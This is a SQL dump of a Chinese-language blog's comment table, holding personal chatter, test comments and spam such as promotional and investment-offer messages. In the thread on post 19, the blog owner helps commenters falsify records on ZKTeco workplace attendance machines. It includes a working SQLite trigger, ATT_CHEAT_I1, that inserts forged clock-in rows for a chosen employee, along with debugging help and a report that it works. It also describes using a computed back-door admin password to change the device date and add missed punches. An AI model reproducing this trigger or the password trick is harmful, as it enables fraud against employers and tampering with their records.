INSERT INTO `tb_comment` VALUES (342, 19, 341, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '这里的 ID 是表内的记录索引，不是用户索引哦，所以不能用这个 ID。`ID = NEW.ID` 不用动它。你所说的“用户ID”实际上就是 User_PIN，用 User_PIN 就对了', '2023-06-09 15:13:59', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (343, 185, -1, 0, 'LLL', 't-lonx@hotmail.com', '', '去做喜歡的運動, 騎車\r\n你要多巴胺', '2023-06-09 22:13:23', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (344, 185, 343, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '问题就在这，我没有喜欢的运动。潜水也没条件', '2023-06-10 09:16:37', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (345, 187, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '这很合理', '2023-06-10 10:27:42', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (346, 185, 344, 2, 'LLL', 't-lonx@hotmail.com', '', '買個可调节啞鈴在家舉, 慢慢提升重量,會有成功感', '2023-06-11 00:32:05', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (347, 187, -1, 0, 'LLL', 't-lonx@hotmail.com', '', '我上班也常常google remote desktop 回家的電腦玩遊戲, 工作點到即止就好, 某些公司付出跟收穫不是正比的時候就不要太上心, 或想想有什麼自己的副業可以在上班時間網上做', '2023-06-11 01:25:29', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (348, 185, 346, 3, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '好，这就开始尝试', '2023-06-12 09:45:13', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (349, 187, 347, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '是的，生活太艰难了，按部就班绝对不划算的。现在打工人被 PUA 太严重了', '2023-06-12 09:46:36', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (350, 19, -1, 0, 'LLL', 't-lonx@hotmail.com', '', '　+ abs(random() % 30) * 1.0 / 24 / 60           -- 随机 + 0~29 分钟\n\n　+ abs(random() % 20) ,  是不是就是随机20分鐘了? ', '2023-06-15 14:22:24', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (351, 19, 350, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '后面的 * 1.0 / 24 / 60 不能少', '2023-06-15 16:06:01', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (352, 19, 351, 2, 'LLL', 't-lonx@hotmail.com', '', '好的,\r\n上次我把公司的機restore 完, 但有其他人走過,我也要走開, 機應該沒有restart, 所以沒事發生, 但是我擔心之後公司突然斷電機自己重開, 才把十幾天前的dat restore出來, 那中間時間的資料沒了, 我正在想是不是要找另一晚再把那機重新backup重新restore一次確保安全', '2023-06-17 12:04:33', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (353, 19, 351, 2, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '额，没懂是啥意思\r\n断电也没事吧，大家都没打卡就都没有。\r\n你要图安全，可以导出来对比下数据，确认下\r\n', '2023-06-17 22:17:11', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/604.1', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (354, 1, -1, 0, 'Susan', 'susankarsh.myaa@gmail.com', 'https://no-site.com', 'Hello, \r\n \r\nA little over a week ago, I sent a message that I was on your site, and wanted to see if you would be open to getting a FREE 14-Day trial of our AI Agents, like ChatGPT, but with loads of enhancements and hundreds of skillful AI agents that can be hand-picked to cater to your specific requirements. \r\n \r\nPlus, if you decide to continue after the trial, we offer a wide range of cost-effective plans, to meet any budget. \r\n \r\nBut the best news is, our last survey shows our clients saving 20%- 30% on operational costs by using our AI agents. \r\n \r\nCheck us out: https://bit.ly/myaa_promo \r\n \r\nOur AI Agents Can: \r\n \r\n•	Assist you with tasks, projects and research, which will save you time and money. \r\n•	Crush to-do list by writing - ads, code, emails, content, sales copy, contracts & more. \r\n•	Give you time to focus on important things instead of mundane tasks. \r\n \r\n... and much more! \r\n \r\nWatch our video: https://bit.ly/myaa_promo \r\n \r\nClaim your FREE AI Agents before this offer ends: https://bit.ly/myaa_promo \r\n \r\nBest, \r\n \r\nSusan', '2023-06-21 23:50:01', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.54', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (355, 19, -1, 0, 'LLL', 't-lonx@hotmail.com', '', '終於想到最好的方法， 上一次你說可以7時後任何同事拍卡 觸發 一條log, 但我擔心如果休假就不行， 我剛剛想到，應該可以多加一個觸發條件， 就是我的ID 當天是已經有記錄 才會觸發， 這樣可以嗎？  2個條件都發生才觸發， 那就最安全了， 等你好消息', '2023-06-23 22:34:58', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (356, 19, 355, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '当然可以。你看看我画的流程图，它就是通过判断你当天是第几次打卡，来执行不同的行为。那自然也可以判断你当天是否有过打卡记录', '2023-06-25 02:20:02', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/604.1', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (357, 19, 356, 2, 'LLL', 't-lonx@hotmail.com', '', '可以幫我寫一寫嗎， 我用chatgpt 生出來的都是不能成功執行的', '2023-06-26 01:06:26', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (358, 19, -1, 0, 'LLL', 't-lonx@hotmail.com', '', '其實這個設定連log 次序排位問題都能解決， 只要緊貼觸發者幾十秒內多生一條， 連log排序都是正確的', '2023-06-26 01:11:33', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (359, 19, 356, 2, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '我住院着，没有环境，你自己先摸索看看', '2023-06-26 16:43:18', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (360, 19, 359, 3, 'LLL', 't-lonx@hotmail.com', '', '@0@  你不是真的去自殺吧？ 不要死呀， 你是我的救世主 😭', '2023-06-26 23:46:41', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (361, 19, 356, 2, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '没有要自杀。。但是身体确实出毛病了\r\n你参考我的那个写就行了，但是你要先学一下 SQLite 的语法。\r\n你手头有 ZKDB.db，直接在上面试试就好了', '2023-06-29 23:56:30', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (362, 19, 361, 3, 'LLL', 't-lonx@hotmail.com', '', '```sql\nCREATE TRIGGER ATT_CHEAT_I1 AFTER INSERT ON ATT_LOG\nFOR EACH ROW\nWHEN\n	TIME(NEW.Verify_Time) >= TIME(\'19:00:00\')\n	AND\n    NEW.User_PIN != 工號\n    AND\n	(SELECT COUNT(*) FROM ATT_LOG WHERE DATE(Verify_Time) = DATE(NEW.Verify_Time) AND User_PIN == 工號) == 1\nBEGIN\n    INSERT INTO ATT_LOG (User_PIN,Verify_Type,Verify_Time,Status,Work_Code_ID)\n	VALUES (工號,4,strftime(\'%Y-%m-%dT%H:%M:%S\',datetime(unixepoch(NEW.Verify_Time)+10+abs(random()%20),\'unixepoch\')),255,0);\nEND\n```', '2023-06-30 17:14:35', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (363, 19, 362, 4, 'LLL', 't-lonx@hotmail.com', '', '導進機內,出現問題, 之後任何拍卡都說不能記錄\r\n能幫忙看看是什麼出問題嗎', '2023-06-30 17:16:02', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (364, 19, 362, 4, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'no such function: unixepoch', '2023-06-30 18:09:04', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (365, 19, 364, 5, 'LLL', 't-lonx@hotmail.com', '', '已成功, 感謝!!!', '2023-07-04 15:14:15', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (366, 1, -1, 0, 'Syed Atif', 'wmueller831@gmail.com', 'https://no-site.com', 'Hello, \r\nHow are you doing? My name is Mr Syed Atif, and I am a financial consultant. I am reaching out to you today to offer my expertise, experience, and network of investors to assist you in achieving your business goals. \r\n \r\nWe provide funding through our venture capital company to both start-up and existing companies either looking for funding for expansion or to accelerate growth in their company. \r\n \r\nWe have a structured joint venture investment plan in which we are interested in an annual return on investment not more than 10% ROI. \r\n \r\nWe are also currently structuring a convertible debt and loan financing of 3% interest repayable annually with no early repayment penalties. \r\n \r\nIf you have a business plan or executive summary I can review to understand a much better idea of your business and what you are looking to do, this will assist in determining the best possible investment structure we can pursue and discuss more extensively. \r\n \r\nIf you are interested in any of the above, kindly respond to us via this email \r\nsydatif@devcorpinternationalec.com I wait to hear from you. \r\n \r\nSincerely, \r\n \r\nSyed Atif \r\nInvestment Director \r\nDevcorp International E.C. \r\nP.O Box 10236 Shop No. 305 \r\nFlr 3 Manama Centre, Bahrain \r\nEmail: sydatif@devcorpinternationalec.com', '2023-07-08 17:23:26', '127.0.0.1', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (367, 1, -1, 0, 'Luis Alves', 'luis.alvess100@hotmail.com', 'https://no-site.com', 'Dear Sir/Madam, \r\nIt is my utmost desire in engaging this moment to introduce to you myself as well our Firm. \r\nMy name is Luis Alves, a private investment Consultant. I\'m contacting you to inquire if your company welcomes investors, as we currently offer business finance loans to companies and corporate businesses that need funding to execute their projects. \r\nWe carry out disposals, acquisitions, and financing of companies from USD 10 million up to USD 1 Billion with an APR of 2% per annum. \r\nIf you have a viable business seeking for quick Loan or Funding Partners, kindly get in touch as I look forward to your thoughtful response. \r\nBest regards, \r\nLuis Alves. \r\nT/WhatsApp: +351 960 122 767 \r\nEmail: lalves2@protonmail.com', '2023-07-29 14:07:13', '127.0.0.1', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (368, 1, -1, 0, 'Josephval', 'no.reply.JoshuaJohansson@gmail.com', 'https://www.no-site.com', 'Howdy-doody! smileat.me \r\n \r\nDid you know that it is possible to send commercial offers legitimate way? We are providing a unique way of sending messages through contact forms. These feedback forms can be seen on numerous websites. \r\nWhen such requests are sent, no personal data is used, and messages are sent to forms specifically designed to receive messages and appeals securely. Messages sent via Communication Forms are unlikely to end up as spam, as they are viewed as essential. \r\nGive our service a go – it won’t cost you a thing! \r\nWe are able to transmit up to 50,000 messages to you. \r\n \r\nThe cost of sending one million messages is $59. \r\n \r\nThis offer is automatically generated. \r\nPlease use the contact details below to get in touch with us. \r\n \r\nContact us. \r\nTelegram - https://t.me/FeedbackFormEU \r\nSkype  live:feedbackform2019 \r\nWhatsApp  +375259112693 \r\nWhatsApp  https://wa.me/+375259112693 \r\n \r\nWe only use chat for communication.', '2023-08-09 13:52:59', '127.0.0.1', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36', 2, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (369, 187, -1, 0, '喵喵', 'mason901012@composezz.com', '', '你不要吓我\r\n你还好吗\r\n好久没看到你了\r\n飞机没看到 博客也没更新', '2023-08-15 02:55:50', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 13; 2107113SG) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/22.0 Chrome/111.0.5563.116 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (370, 187, 369, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '还好，只是梯子过期了', '2023-08-15 18:05:13', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (371, 19, -1, 0, '乐克乐克', '1044695241@qq.com', '', '大哥 求个联系方式', '2023-09-19 11:21:49', '127.0.0.1', 'Mozilla/5.0 (Linux; U; Android 12; zh-Hans-CN; ABR-AL00 Build/HUAWEIABR-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/100.0.4896.58 Quark/6.6.1.352 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (372, 19, -1, 0, '乐克乐克', '1044695241@qq.com', '', '1044695241@qq.com求个微', '2023-09-19 11:22:21', '127.0.0.1', 'Mozilla/5.0 (Linux; U; Android 12; zh-Hans-CN; ABR-AL00 Build/HUAWEIABR-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/100.0.4896.58 Quark/6.6.1.352 Mobile Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (373, 19, 372, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'no wechat, 有问题直接在这里留言就好', '2023-09-19 12:00:46', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (374, 19, -1, 0, '风中CHENAI  ', '6047483@qq.com', '', '你好，通过计算的密码可以进入中控管理页面，但是退出来后就无法再次进入了(时间还没还原，糗大了)，重新计算密码也不可以进入了，请问是什么情况?难道是管理员关闭了“后台密码进入”功能？单位用的是中控Xface100。', '2023-10-07 14:09:56', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (375, 19, 374, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '你是说你改了考勤机的时间但还没还原？密码是和考勤机日期有关的，如果日期变了就要根据变更的日期重新计算。待会我加个选时间的功能。', '2023-10-07 14:20:00', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 SE 2.X MetaSr 1.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (376, 19, 374, 1, '风中CHENAI  ', '6047483@qq.com', '', '是不是因为我第一次进入后更改成10月2日，退出来补卡后（机器是2号），在通过7号计算的密码就不能进入管理页面了？', '2023-10-07 14:27:01', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (377, 19, -1, 0, '风中CHENAI  ', '6047483@qq.com', '', '本来想进入管理页面后增加管理员密码，方便进入，着急补卡就直接退了出来。增加选时间后，那就方便多了 。谢谢你。', '2023-10-07 14:46:11', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (378, 19, 375, 2, '风中CHENAI  ', '6047483@qq.com', '', '本来想进入管理页面后增加管理员密码，方便进入，着急补卡就直接退了出来。增加选时间后，那就方便多了 。谢谢你。', '2023-10-07 14:46:40', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (379, 19, 377, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '加上了，有个日期框，你输入20231002再试试', '2023-10-07 14:48:09', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (380, 19, 376, 2, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '是的，日期变更了原密码就不能用了', '2023-10-07 14:54:25', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (381, 19, 379, 2, '风中CHENAI  ', '6047483@qq.com', '', '好的，太感谢了。可以使用', '2023-10-07 17:38:22', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (382, 129, -1, 0, 'dirt3009', 'iam@emirgecir.com.tr', 'https://3009.win', '首先，很抱歉中文说得不好。我使用的是 DeepL。最近，制作了相同视频引擎的人制作了一款音乐应用程序（顺便说一句，它糟透了）\r\n\r\n我本想破解浏览器版本的应用程序，但在查找 \"spade_a \"时看到了这篇文章，它帮了我大忙，您的博客帮助了全球各地的人们，我为此向您表示感谢。', '2023-10-15 22:07:52', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (383, 129, 382, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', 'damn bro am i that cool?? thx for letting me know, it\'s awesome', '2023-10-15 22:16:31', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (384, 195, -1, 0, '🍑', 'chkesp@gmail.com', '', '> 中国人到越南竟然要和泰国人在韩国街吃日料。\r\n\r\n有点儿意思。我也找个机会去外面试一下，看起来挺好玩的。', '2023-12-06 02:58:01', '127.0.0.1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (385, 195, 384, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '不是哥们儿你是夜猫吗', '2023-12-06 03:13:13', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (386, 195, -1, 0, 'obaby', 'root@obaby.org.cn', 'https://nai.dog', '的确一脸正气，所以热舞好看吗', '2023-12-06 08:32:39', '127.0.0.1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (387, 193, -1, 0, 'obaby', 'root@obaby.org.cn', 'https://nai.dog', '这……要素太多', '2023-12-06 08:34:44', '127.0.0.1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (388, 1, -1, 0, 'obaby', 'root@obaby.org.cn', 'https://nai.dog', '底下那个反舔狗委员会有意思', '2023-12-06 08:37:24', '127.0.0.1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (389, 195, 386, 1, 'Doghole', 'huocaizhu@gmail.com', '', '没坐在我身上跳，所以不够好看', '2023-12-06 12:43:57', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (390, 1, 388, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '一个卑微的愿望', '2023-12-06 13:39:38', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (391, 198, -1, 0, 'obaby', 'root@obaby.org.cn', 'https://nai.dog', '裸域不支持cname确实比较恶心，所以我直接用dnspod做解析了。', '2023-12-10 15:11:53', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (392, 198, 391, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://qwq.me', '确实如果 DNS 服务商支持 AName 之类的别名是最好的。', '2023-12-10 17:15:25', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (393, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://qwq.me', '测试评论2', '2023-12-21 00:51:53', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (394, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://qwq.me', '测试评论2', '2023-12-21 00:52:28', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (395, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://qwq.me', '测试评论3', '2023-12-21 00:59:04', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (396, 19, 352, 3, '风中CHENAI  ', '6047483@qq.com', '', '你们探讨的触发器，是不是只能是密码考勤？刷脸无法使用“触发器”这个方法？', '2023-12-22 11:00:55', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 0, 0, 0, 0, 1, 0);
INSERT INTO `tb_comment` VALUES (397, 19, 396, 4, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '刷脸也可以，文中提到的密码只是判断此人是否需要触发的一种方式。毕竟最终都要插入数据到考勤记录表，所以无论何种考勤方式都能用。**触发器**章节其实是最有含金量的章节，用好了简直无敌。', '2023-12-23 13:44:00', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36', 0, 0, 0, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (398, 204, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'http://qwq.me', '说好要一起策的🐴，剩下我独自等待～', '2023-12-25 03:11:34', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (399, 204, -1, 0, 'Doghole', 'huocaizhu@qq.com', 'https://qwq.me', '测试下回复评论', '2023-12-26 21:00:12', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203', 0, 0, 1, 1, 0, 0);
INSERT INTO `tb_comment` VALUES (400, 204, 399, 1, 'Doghole', 'huocaizhu@qq.com', 'https://qwq.me', '测试回复我自己', '2023-12-26 21:00:48', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203', 0, 0, 1, 1, 0, 1);
